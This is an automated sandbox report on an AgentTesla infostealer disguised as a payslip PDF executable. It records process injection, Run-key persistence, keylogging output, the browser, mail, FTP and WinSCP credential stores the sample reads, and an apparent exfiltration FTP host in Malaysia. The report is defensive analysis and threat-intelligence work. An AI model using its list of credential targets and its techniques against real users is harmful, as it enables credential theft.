Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: RegSvcs.exe, 00000001.00000002.4112075052.0000000005FDC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJ

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

API call chain: ExitProcess graph end node

graph_0-98230

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D141FD BlockInput,

0_2_00D141FD

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CA3B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00CA3B4C

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CD5CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00CD5CCC

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D1C304 LoadLibraryA,GetProcAddress,

0_2_00D1C304

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_0130B280 mov eax, dword ptr fs:[00000030h]	0_2_0130B280
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_0130B2E0 mov eax, dword ptr fs:[00000030h]	0_2_0130B2E0
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_01309C20 mov eax, dword ptr fs:[00000030h]	0_2_01309C20

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CF81F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00CF81F7

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CCA395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00CCA395
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CCA364 SetUnhandledExceptionFilter,		0_2_00CCA364

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: A50008

Jump to behavior

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CF8C93 LogonUserW,

0_2_00CF8C93

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CA3B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00CA3B4C

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CA4A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00CA4A35

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D04EC9 mouse_event,

0_2_00D04EC9

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Payslip_October_2024_pdf.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

0_2_00CF81F7

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D04C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00D04C03

Source: Payslip_October_2024_pdf.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: RegSvcs.exe, 00000001.00000002.4109255409.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $\|q8<b>[ Program Manager]</b> (04/11/2024 12:20:15)<br>{Win}TH
Source: RegSvcs.exe, 00000001.00000002.4109255409.0000000002D0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <html>Time: 11/18/2024 00:38:35<br>User Name: user<br>Computer Name: 284992<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz<br>RAM: 8191.25 MB<br>IP Address: 173.254.250.69<br><hr><b>[ Program Manager]</b> (04/11/2024 12:20:15)<br>{Win}r</html>
Source: RegSvcs.exe, 00000001.00000002.4109255409.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegSvcs.exe, 00000001.00000002.4109255409.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $\|q3<b>[ Program Manager]</b> (04/11/2024 12:20:15)<br>
Source: Payslip_October_2024_pdf.exe	Binary or memory string: Shell_TrayWnd
Source: RegSvcs.exe, 00000001.00000002.4109255409.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR\|q
Source: RegSvcs.exe, 00000001.00000002.4109255409.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $\|q9<b>[ Program Manager]</b> (04/11/2024 12:20:15)<br>{Win}rTH

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CC886B cpuid

0_2_00CC886B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CD50D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00CD50D7

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CE2230 GetUserNameW,

0_2_00CE2230

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CD418A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00CD418A

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CA4AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00CA4AFE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4109255409.0000000002C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4109255409.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Payslip_October_2024_pdf.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7040, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Payslip_October_2024_pdf.exe	Binary or memory string: WIN_81
Source: Payslip_October_2024_pdf.exe	Binary or memory string: WIN_XP
Source: Payslip_October_2024_pdf.exe	Binary or memory string: WIN_XPe
Source: Payslip_October_2024_pdf.exe	Binary or memory string: WIN_VISTA
Source: Payslip_October_2024_pdf.exe	Binary or memory string: WIN_7
Source: Payslip_October_2024_pdf.exe	Binary or memory string: WIN_8
Source: Payslip_October_2024_pdf.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 4USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4109255409.0000000002C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Payslip_October_2024_pdf.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7040, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4109255409.0000000002C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4109255409.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Payslip_October_2024_pdf.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7040, type: MEMORYSTR

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D16596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00D16596
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D16A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00D16A5A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	221 Input Capture	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	2 Valid Accounts	2 Obfuscated Files or Information	1 Credentials in Registry	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	138 System Information Discovery	Distributed Component Object Model	221 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	1 Masquerading	LSA Secrets	241 Security Software Discovery	SSH	4 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payslip_October_2024_pdf.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
Payslip_October_2024_pdf.exe	20%	Virustotal		Browse
Payslip_October_2024_pdf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
api.ipify.org	0%	Virustotal		Browse
ftp.haliza.com.my	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ftp.haliza.com.my	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.13.205	true	false	0%, Virustotal, Browse	unknown
ftp.haliza.com.my	110.4.45.197	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	Payslip_October_2024_pdf.exe, 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4109255409.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	Payslip_October_2024_pdf.exe, 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ftp.haliza.com.my	RegSvcs.exe, 00000001.00000002.4109255409.0000000002D0C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4109255409.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4109255409.0000000002F2B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4109255409.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://api.ipify.org/t	RegSvcs.exe, 00000001.00000002.4109255409.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000001.00000002.4109255409.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
110.4.45.197	ftp.haliza.com.my	Malaysia		46015	EXABYTES-AS-APExaBytesNetworkSdnBhdMY	true
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1548160
Start date and time:	2024-11-04 03:17:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payslip_October_2024_pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/8@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 60 Number of non-executed functions: 263
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target sgxIb.exe, PID 3448 because it is empty
Execution Graph export aborted for target sgxIb.exe, PID 4076 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:18:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run sgxIb C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
02:18:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run sgxIb C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
21:17:59	API Interceptor	11690232x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
110.4.45.197	Payslip_October_2024.pdf.exe	Get hash	malicious	AgentTesla	Browse
	rMT103_126021720924.exe	Get hash	malicious	AgentTesla	Browse
	z1Transaction_ID_REF2418_cmd.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	z14Employee_Contract_pdf.exe	Get hash	malicious	AgentTesla	Browse
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla	Browse
	DHL_Shipment_Details_8th_October.pdf.exe	Get hash	malicious	AgentTesla	Browse
	z92BankPayment38_735.exe	Get hash	malicious	AgentTesla	Browse
	Bank Payment $38,735.exe	Get hash	malicious	AgentTesla	Browse
104.26.13.205	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
